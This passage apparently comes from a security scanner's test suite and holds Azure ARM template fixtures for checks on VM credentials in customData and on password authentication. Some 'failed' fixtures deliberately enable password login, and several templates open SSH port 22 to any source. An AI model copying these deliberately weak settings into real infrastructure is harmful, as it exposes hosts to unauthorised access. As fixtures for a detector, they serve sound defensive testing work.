                   \"name\": \"default-allow-22\",\n                        \"properties\": {\n                            \"priority\": 1000,\n                            \"access\": \"Allow\",\n                            \"direction\": \"Inbound\",\n                            \"destinationPortRange\": \"22\",\n                            \"protocol\": \"TCP\",\n                            \"sourceAddressPrefix\": \"*\",\n                            \"sourcePortRange\": \"*\",\n                            \"destinationAddressPrefix\": \"*\"\n                        }\n                    }\n                ]\n            }\n        },\n        {\n            \"apiVersion\": \"2019-12-01\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"name\": \"pass-no-os-profile\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"updateIp\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('vmSize')]\"\n                },\n                \"storageProfile\": {\n                    \"imageReference\": {\n                        \"publisher\": \"Canonical\",\n                        \"offer\": \"UbuntuServer\",\n                        \"sku\": \"18.04-LTS\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n                        }\n                    ]\n                }\n            }\n        }\n    ],\n    \"outputs\": {\n        \"privateIp\": {\n            \"type\": \"string\",\n            \"value\": \"[reference(variables('nicName')).ipConfigurations[0].properties.privateIPAddress]\"\n        }\n    }\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMCredsInCustomData/pass-no-secret.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"metadata\": {\n    \"_generator\": {\n      \"name\": \"bicep\",\n      \"version\": \"0.22.6.54827\",\n      \"templateHash\": \"1864719808904770163\"\n    }\n  },\n  \"parameters\": {\n    \"dnsLabelPrefix\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Unique DNS Name for the Public IP used to access the Virtual Machine.\"\n      }\n    },\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"User name for the Virtual Machine.\"\n      }\n    },\n    \"customData\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"echo customData\",\n      \"metadata\": {\n        \"description\": \"String passed down to the Virtual Machine.\"\n      }\n    },\n    \"vmSize\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard_D2_v3\",\n      \"metadata\": {\n        \"description\": \"VM size\"\n      }\n    },\n    \"ubuntuOSVersion\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"18.04-LTS\",\n      \"allowedValues\": [\n        \"14.04-LTS\",\n        \"16.04-LTS\",\n        \"18.04-LTS\",\n        \"20.04-LTS\"\n      ],\n      \"metadata\": {\n        \"description\": \"The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version. Allowed values: 14.04-LTS,16.04-LTS,18.04-LTS,20.04-LTS.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    },\n    \"authenticationType\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"sshPublicKey\",\n      \"allowedValues\": [\n        \"sshPublicKey\",\n        \"password\"\n      ],\n      \"metadata\": {\n        \"description\": \"Type of authentication to use on the Virtual Machine. SSH key is recommended.\"\n      }\n    },\n    \"adminPasswordOrKey\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"SSH Key or password for the Virtual Machine. SSH key is recommended.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"storageAccountName\": \"[format('{0}sacustmdata', uniqueString(resourceGroup().id))]\",\n    \"imagePublisher\": \"Canonical\",\n    \"imageOffer\": \"UbuntuServer\",\n    \"nicName\": \"networkInterface1\",\n    \"vmName\": \"vm1\",\n    \"virtualNetworkName\": \"virtualNetwork1\",\n    \"publicIPAddressName\": \"publicIp1\",\n    \"addressPrefix\": \"10.0.0.0/16\",\n    \"subnet1Name\": \"Subnet-1\",\n    \"subnet1Prefix\": \"10.0.0.0/24\",\n    \"publicIPAddressType\": \"Dynamic\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"linuxConfiguration\": {\n      \"disablePasswordAuthentication\": true,\n      \"ssh\": {\n        \"publicKeys\": [\n          {\n            \"path\": \"[format('/home/{0}/.ssh/authorized_keys', parameters('adminUsername'))]\",\n            \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n          }\n        ]\n      }\n    },\n    \"networkSecurityGroupName\": \"default-NSG\"\n  },\n  \"resources\": [\n\n    {\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"apiVersion\": \"2023-05-01\",\n      \"name\": \"[variables('networkSecurityGroupName')]\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"default-allow-22\",\n            \"properties\": {\n              \"priority\": 1000,\n              \"access\": \"Allow\",\n              \"direction\": \"Inbound\",\n              \"destinationPortRange\": \"22\",\n              \"protocol\": \"Tcp\",\n              \"sourceAddressPrefix\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationAddressPrefix\": \"*\"\n            }\n          }\n        ]\n      }\n    },\n\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"apiVersion\": \"2023-07-01\",\n      \"name\": \"pass-no-secret\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('vmSize')]\"\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('vmName')]\",\n          \"adminUsername\": \"[parameters('adminUsername')]\",\n          \"adminPassword\": \"[parameters('adminPasswordOrKey')]\",\n          \"customData\": \"<<EOF\\nexample\\nEOF\",\n          \"linuxConfiguration\": \"[if(equals(parameters('authenticationType'), 'password'), null(), variables('linuxConfiguration'))]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"[variables('imagePublisher')]\",\n            \"offer\": \"[variables('imageOffer')]\",\n            \"sku\": \"[parameters('ubuntuOSVersion')]\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"createOption\": \"FromImage\"\n          }\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\"\n            }\n          ]\n        },\n        \"diagnosticsProfile\": {\n          \"bootDiagnostics\": {\n            \"enabled\": true,\n            \"storageUri\": \"[reference(resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName')), '2023-01-01').primaryEndpoints.blob]\"\n          }\n        }\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('nicName'))]\",\n        \"[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_VMDisablePasswordAuthentication/failed-vm.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"networkInterfaceName1\": {\n            \"type\": \"string\"\n        },\n        \"enableAcceleratedNetworking\": {\n            \"type\": \"bool\"\n        },\n        \"networkSecurityGroupName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroupRules\": {\n            \"type\": \"array\"\n        },\n        \"subnetName\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"publicIpAddressName1\": {\n            \"type\": \"string\"\n        },\n        \"publicIpAddressType\": {\n            \"type\": \"string\"\n        },\n        \"publicIpAddressSku\": {\n            \"type\": \"string\"\n        },\n        \"pipDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineComputerName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineRG\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"osDiskDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineSize\": {\n            \"type\": \"string\"\n        },\n        \"nicDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"adminPassword\": {\n            \"type\": \"secureString\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"virtualMachine1Zone\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"nsgId\": \"[resourceId(resourceGroup().name, 'Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]\",\n        \"vnetName\": \"[parameters('virtualNetworkName')]\",\n        \"vnetId\": \"[resourceId(resourceGroup().name,'Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]\",\n        \"subnetRef\": \"[concat(variables('vnetId'), '/subnets/', parameters('subnetName'))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('networkInterfaceName1')]\",\n            \"type\": \"Microsoft.Network/networkInterfaces\",\n            \"apiVersion\": \"2022-11-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"[concat('Microsoft.Network/publicIpAddresses/', parameters('publicIpAddressName1'))]\"\n            ],\n            \"properties\": {\n                \"ipConfigurations\": [\n                    {\n                        \"name\": \"ipconfig1\",\n                        \"properties\": {\n                            \"subnet\": {\n                                \"id\": \"[variables('subnetRef')]\"\n                            },\n                            \"privateIPAllocationMethod\": \"Dynamic\",\n                            \"publicIpAddress\": {\n                                \"id\": \"[resourceId(resourceGroup().name, 'Microsoft.Network/publicIpAddresses', parameters('publicIpAddressName1'))]\",\n                                \"properties\": {\n                                    \"deleteOption\": \"[parameters('pipDeleteOption')]\"\n                                }\n                            }\n                        }\n                    }\n                ],\n                \"enableAcceleratedNetworking\": \"[parameters('enableAcceleratedNetworking')]\",\n                \"networkSecurityGroup\": {\n                    \"id\": \"[variables('nsgId')]\"\n                }\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroupName')]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroupRules')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('publicIpAddressName1')]\",\n            \"type\": \"Microsoft.Network/publicIpAddresses\",\n            \"apiVersion\": \"2020-08-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"publicIpAllocationMethod\": \"[parameters('publicIpAddressType')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('publicIpAddressSku')]\"\n            },\n            \"zones\": [\n                \"[parameters('virtualMachine1Zone')]\"\n            ]\n        },\n        {\n            \"name\": \"failed\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2022-03-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkInterfaces/', parameters('networkInterfaceName1'))]\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('virtualMachineSize')]\"\n                },\n                \"storageProfile\": {\n                    \"osDisk\": {\n                        \"createOption\": \"fromImage\",\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"[parameters('osDiskType')]\"\n                        },\n                        \"deleteOption\": \"[parameters('osDiskDeleteOption')]\"\n                    },\n                    \"imageReference\": {\n                        \"publisher\": \"canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts-gen2\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', parameters('networkInterfaceName1'))]\",\n                            \"properties\": {\n                                \"deleteOption\": \"[parameters('nicDeleteOption')]\"\n                            }\n                        }\n                    ]\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachineComputerName1')]\",\n                    \"adminUsername\": \"[parameters('adminUsername')]\",\n                    \"adminPassword\": \"[parameters('adminPassword')]\",\n                    \"linuxConfiguration\": {\n                        \"patchSettings\": {\n                            \"patchMode\": \"ImageDefault\"\n                        }\n                    }\n                },\n                \"securityProfile\": {\n                    \"securityType\": \"[parameters('securityType')]\",\n                    \"uefiSettings\": {\n                        \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                        \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                    }\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": true\n                    }\n                }\n            },\n            \"zones\": [\n                \"[parameters('virtualMachine1Zone')]\"\n            ]\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMDisablePasswordAuthentication/failed.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"virtualNetworkId\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroups\": {\n            \"type\": \"array\"\n        },\n        \"networkInterfaceConfigurations\": {\n            \"type\": \"array\"\n        },\n        \"vmName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineScaleSetName\": {\n            \"type\": \"string\"\n        },\n        \"instanceCount\": {\n            \"type\": \"string\"\n        },\n        \"instanceSize\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"adminPassword\": {\n            \"type\": \"secureString\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"platformFaultDomainCount\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"storageApiVersion\": \"2021-01-01\",\n        \"networkApiVersion\": \"2020-11-01\",\n        \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n        \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroups')[copyIndex()].name]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroups')[copyIndex()].rules]\"\n            },\n            \"copy\": {\n                \"name\": \"networkSecurityGroups\",\n                \"count\": \"[length(parameters('networkSecurityGroups'))]\"\n            }\n        },\n        {\n            \"name\": \"failed\",\n            \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"apiVersion\": \"[variables('virtualMachineScaleSetApiVersion')]\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"networkSecurityGroups\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\"\n            ],\n            \"properties\": {\n                \"virtualMachineProfile\": {\n                    \"storageProfile\": {\n                        \"osDisk\": {\n                            \"createOption\": \"fromImage\",\n                            \"caching\": \"ReadWrite\",\n                            \"managedDisk\": {\n                                \"storageAccountType\": \"[parameters('osDiskType')]\"\n                            }\n                        },\n                        \"imageReference\": {\n                            \"publisher\": \"canonical\",\n                            \"offer\": \"0001-com-ubuntu-server-focal\",\n                            \"sku\": \"20_04-lts-gen2\",\n                            \"version\": \"latest\"\n                        }\n                    },\n                    \"networkProfile\": {\n                        \"networkApiVersion\": \"[variables('networkApiVersion')]\",\n                        \"copy\": [\n                            {\n                                \"name\": \"networkInterfaceConfigurations\",\n                                \"count\": \"[length(parameters('networkInterfaceConfigurations'))]\",\n                                \"input\": {\n                                    \"name\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name]\",\n                                    \"properties\": {\n                                        \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                        \"enableAcceleratedNetworking\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].enableAcceleratedNetworking]\",\n                                        \"ipConfigurations\": [\n                                            {\n                                                \"name\": \"[concat(take(parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].name, sub(80, length('-defaultIpConfiguration'))), '-defaultIpConfiguration')]\",\n                                                \"properties\": {\n                                                    \"subnet\": {\n                                                        \"id\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].subnetId]\"\n                                                    },\n                                                    \"primary\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].primary]\",\n                                                    \"applicationGatewayBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].applicationGatewayBackendAddressPools]\",\n                                                    \"loadBalancerBackendAddressPools\": \"[parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].loadBalancerBackendAddressPools]\",\n                                                    \"publicIPAddressConfiguration\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, ''), json('null'), union(json(concat('{\\\"name\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].pipName, '\\\"}'))\\n        ,json('{\\\"properties\\\": { \\\"idleTimeoutInMinutes\\\": 15}}')))]\"\n                                                }\n                                            }\n                                        ],\n                                        \"networkSecurityGroup\": \"[if( equals( parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, ''), json('null'),json(concat('{\\\"id\\\": \\\"', parameters('networkInterfaceConfigurations')[copyIndex('networkInterfaceConfigurations')].nsgId, '\\\"}')))]\"\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"extensionProfile\": {\n                        \"extensions\": [\n                            {\n                                \"name\": \"GuestAttestation\",\n                                \"properties\": {\n                                    \"publisher\": \"Microsoft.Azure.Security.LinuxAttestation\",\n                                    \"type\": \"GuestAttestation\",\n                                    \"typeHandlerVersion\": \"1.0\",\n                                    \"autoUpgradeMinorVersion\": true,\n                                    \"enableAutomaticUpgrade\": true,\n                                    \"settings\": {\n                                        \"AttestationConfig\": {\n                                            \"MaaSettings\": {\n                                                \"maaEndpoint\": \"\",\n                                                \"maaTenantName\": \"GuestAttestation\"\n                                            },\n                                            \"AscSettings\": {\n                                                \"ascReportingEndpoint\": \"\",\n                                                \"ascReportingFrequency\": \"\"\n                                            },\n                                            \"useCustomToken\": \"false\",\n                                            \"disableAlerts\": \"false\"\n                                        }\n                                    }\n                                }\n                            }\n                        ]\n                    },\n                    \"diagnosticsProfile\": {\n                        \"bootDiagnostics\": {\n                            \"enabled\": true\n                        }\n                    },\n                    \"osProfile\": {\n                        \"computerNamePrefix\": \"[variables('namingInfix')]\",\n                        \"adminUsername\": \"[parameters('adminUsername')]\",\n                        \"adminPassword\": \"[parameters('adminPassword')]\",\n                        \"linuxConfiguration\": {\n                            \"disablePasswordAuthentication\": false,\n                            \"patchSettings\": {\n                                \"patchMode\": \"ImageDefault\"\n                            }\n                        }\n                    },\n                    \"securityProfile\": {\n                        \"securityType\": \"[parameters('securityType')]\",\n                        \"uefiSettings\": {\n                            \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                            \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                        }\n                    }\n                },\n                \"orchestrationMode\": \"Flexible\",\n                \"platformFaultDomainCount\": \"[parameters('platformFaultDomainCount')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('instanceSize')]\",\n                \"capacity\": \"[int(parameters('instanceCount'))]\"\n            }\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMDisablePasswordAuthentication/passed-vm.json",
    "content": "{\n    \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"location\": {\n            \"type\": \"string\"\n        },\n        \"networkInterfaceName1\": {\n            \"type\": \"string\"\n        },\n        \"enableAcceleratedNetworking\": {\n            \"type\": \"bool\"\n        },\n        \"networkSecurityGroupName\": {\n            \"type\": \"string\"\n        },\n        \"networkSecurityGroupRules\": {\n            \"type\": \"array\"\n        },\n        \"subnetName\": {\n            \"type\": \"string\"\n        },\n        \"virtualNetworkName\": {\n            \"type\": \"string\"\n        },\n        \"addressPrefixes\": {\n            \"type\": \"array\"\n        },\n        \"subnets\": {\n            \"type\": \"array\"\n        },\n        \"publicIpAddressName1\": {\n            \"type\": \"string\"\n        },\n        \"publicIpAddressType\": {\n            \"type\": \"string\"\n        },\n        \"publicIpAddressSku\": {\n            \"type\": \"string\"\n        },\n        \"pipDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineName\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineComputerName1\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineRG\": {\n            \"type\": \"string\"\n        },\n        \"osDiskType\": {\n            \"type\": \"string\"\n        },\n        \"osDiskDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"virtualMachineSize\": {\n            \"type\": \"string\"\n        },\n        \"nicDeleteOption\": {\n            \"type\": \"string\"\n        },\n        \"adminUsername\": {\n            \"type\": \"string\"\n        },\n        \"securityType\": {\n            \"type\": \"string\"\n        },\n        \"secureBoot\": {\n            \"type\": \"bool\"\n        },\n        \"vTPM\": {\n            \"type\": \"bool\"\n        },\n        \"virtualMachine1Zone\": {\n            \"type\": \"string\"\n        }\n    },\n    \"variables\": {\n        \"nsgId\": \"[resourceId(resourceGroup().name, 'Microsoft.Network/networkSecurityGroups', parameters('networkSecurityGroupName'))]\",\n        \"vnetName\": \"[parameters('virtualNetworkName')]\",\n        \"vnetId\": \"[resourceId(resourceGroup().name,'Microsoft.Network/virtualNetworks', parameters('virtualNetworkName'))]\",\n        \"subnetRef\": \"[concat(variables('vnetId'), '/subnets/', parameters('subnetName'))]\"\n    },\n    \"resources\": [\n        {\n            \"name\": \"[parameters('networkInterfaceName1')]\",\n            \"type\": \"Microsoft.Network/networkInterfaces\",\n            \"apiVersion\": \"2022-11-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkSecurityGroups/', parameters('networkSecurityGroupName'))]\",\n                \"[concat('Microsoft.Network/virtualNetworks/', parameters('virtualNetworkName'))]\",\n                \"[concat('Microsoft.Network/publicIpAddresses/', parameters('publicIpAddressName1'))]\"\n            ],\n            \"properties\": {\n                \"ipConfigurations\": [\n                    {\n                        \"name\": \"ipconfig1\",\n                        \"properties\": {\n                            \"subnet\": {\n                                \"id\": \"[variables('subnetRef')]\"\n                            },\n                            \"privateIPAllocationMethod\": \"Dynamic\",\n                            \"publicIpAddress\": {\n                                \"id\": \"[resourceId(resourceGroup().name, 'Microsoft.Network/publicIpAddresses', parameters('publicIpAddressName1'))]\",\n                                \"properties\": {\n                                    \"deleteOption\": \"[parameters('pipDeleteOption')]\"\n                                }\n                            }\n                        }\n                    }\n                ],\n                \"enableAcceleratedNetworking\": \"[parameters('enableAcceleratedNetworking')]\",\n                \"networkSecurityGroup\": {\n                    \"id\": \"[variables('nsgId')]\"\n                }\n            }\n        },\n        {\n            \"name\": \"[parameters('networkSecurityGroupName')]\",\n            \"type\": \"Microsoft.Network/networkSecurityGroups\",\n            \"apiVersion\": \"2019-02-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"securityRules\": \"[parameters('networkSecurityGroupRules')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('virtualNetworkName')]\",\n            \"type\": \"Microsoft.Network/virtualNetworks\",\n            \"apiVersion\": \"2021-05-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"addressSpace\": {\n                    \"addressPrefixes\": \"[parameters('addressPrefixes')]\"\n                },\n                \"subnets\": \"[parameters('subnets')]\"\n            }\n        },\n        {\n            \"name\": \"[parameters('publicIpAddressName1')]\",\n            \"type\": \"Microsoft.Network/publicIpAddresses\",\n            \"apiVersion\": \"2020-08-01\",\n            \"location\": \"[parameters('location')]\",\n            \"properties\": {\n                \"publicIpAllocationMethod\": \"[parameters('publicIpAddressType')]\"\n            },\n            \"sku\": {\n                \"name\": \"[parameters('publicIpAddressSku')]\"\n            },\n            \"zones\": [\n                \"[parameters('virtualMachine1Zone')]\"\n            ]\n        },\n        {\n            \"name\": \"passed\",\n            \"type\": \"Microsoft.Compute/virtualMachines\",\n            \"apiVersion\": \"2022-03-01\",\n            \"location\": \"[parameters('location')]\",\n            \"dependsOn\": [\n                \"[concat('Microsoft.Network/networkInterfaces/', parameters('networkInterfaceName1'))]\"\n            ],\n            \"properties\": {\n                \"hardwareProfile\": {\n                    \"vmSize\": \"[parameters('virtualMachineSize')]\"\n                },\n                \"storageProfile\": {\n                    \"osDisk\": {\n                        \"createOption\": \"fromImage\",\n                        \"managedDisk\": {\n                            \"storageAccountType\": \"[parameters('osDiskType')]\"\n                        },\n                        \"deleteOption\": \"[parameters('osDiskDeleteOption')]\"\n                    },\n                    \"imageReference\": {\n                        \"publisher\": \"canonical\",\n                        \"offer\": \"0001-com-ubuntu-server-focal\",\n                        \"sku\": \"20_04-lts-gen2\",\n                        \"version\": \"latest\"\n                    }\n                },\n                \"networkProfile\": {\n                    \"networkInterfaces\": [\n                        {\n                            \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', parameters('networkInterfaceName1'))]\",\n                            \"properties\": {\n                                \"deleteOption\": \"[parameters('nicDeleteOption')]\"\n                            }\n                        }\n                    ]\n                },\n                \"osProfile\": {\n                    \"computerName\": \"[parameters('virtualMachineComputerName1')]\",\n                    \"adminUsername\": \"[parameters('adminUsername')]\",\n                    \"linuxConfiguration\": {\n                        \"disablePasswordAuthentication\": true\n                    }\n                },\n                \"securityProfile\": {\n                    \"securityType\": \"[parameters('securityType')]\",\n                    \"uefiSettings\": {\n                        \"secureBootEnabled\": \"[parameters('secureBoot')]\",\n                        \"vTpmEnabled\": \"[parameters('vTPM')]\"\n                    }\n                },\n                \"diagnosticsProfile\": {\n                    \"bootDiagnostics\": {\n                        \"enabled\": true\n                    }\n                }\n            },\n            \"zones\": [\n                \"[parameters('virtualMachine1Zone')]\"\n            ]\n        }\n    ],\n    \"outputs\": {\n        \"adminUsername\": {\n            \"type\": \"string\",\n            \"value\": \"[parameters('adminUsername')]\"\n        }\n    }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VMDisablePasswordAuthentication/passed.json",
